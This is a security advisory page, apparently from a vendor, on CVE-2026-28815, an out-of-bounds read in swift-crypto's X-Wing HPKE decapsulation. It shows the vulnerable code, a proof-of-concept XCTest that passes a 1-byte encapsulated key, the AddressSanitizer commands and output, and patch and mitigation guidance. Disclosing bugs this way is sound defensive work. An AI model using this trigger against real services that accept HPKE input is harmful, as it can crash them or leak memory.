CVE-2026-28815 — swift-crypto
HIGHCVE-2026-28815 is a high-severity (CVSS 7.5) Out-of-bounds Read vulnerability in swift-crypto. A fix is available for swift-crypto — see the affected versions and patch details below.
Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28815.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28815 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
swift-cryptoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects SwiftURL packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.
The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.
Details
The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.
func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
let rc = CCryptoBoringSSL_XWING_decap(
sharedSecretBytes.baseAddress,
encapsulatedSecretBytes.baseAddress,
&self.privateKey
)
guard rc == 1 else {
throw CryptoKitError.internalBoringSSLError()
}
count = Int(XWING_SHARED_SECRET_BYTES)
}
}
}
The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.
#define XWING_CIPHERTEXT_BYTES 1120
OPENSSL_EXPORT int XWING_decap(
uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
const struct XWING_private_key *private_key);
Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:
init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
let sharedSecret = try skR.decapsulate(enc)
self.encapsulated = enc
self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}
PoC
This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.
//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//
#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest
#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif
final class XWingMalformedEncapsulationPoCTests: XCTestCase {
func testShortEncapsulatedKeyHPKERecipientInit() throws {
if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
let skR = try XWingMLKEM768X25519.PrivateKey.generate()
let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes
// Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
_ = try HPKE.Recipient(
privateKey: skR,
ciphersuite: ciphersuite,
info: Data(),
encapsulatedKey: malformedEncapsulatedKey
)
XCTFail("Unexpectedly returned from malformed decapsulation path")
}
}
}
#endif // CRYPTO_IN_SWIFTPM
Steps
- Add the PoC XCTest above to the test suite.
- Run the PoC normally to verify that malformed input is not rejected by length:
swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit - Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:
swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
Results
Normal run
The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.
Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path
AddressSanitizer run
The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.
ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING
Impact
A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.
Reported by Cantina.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦SwiftURL | swift-crypto | ≥ 4.0.0&&< 4.3.1 | 4.3.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for swift-crypto, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update swift-crypto to 4.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28815 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28815 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28815. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-28815 in your dependencies?
O3 Security finds CVE-2026-28815 across SwiftURL dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.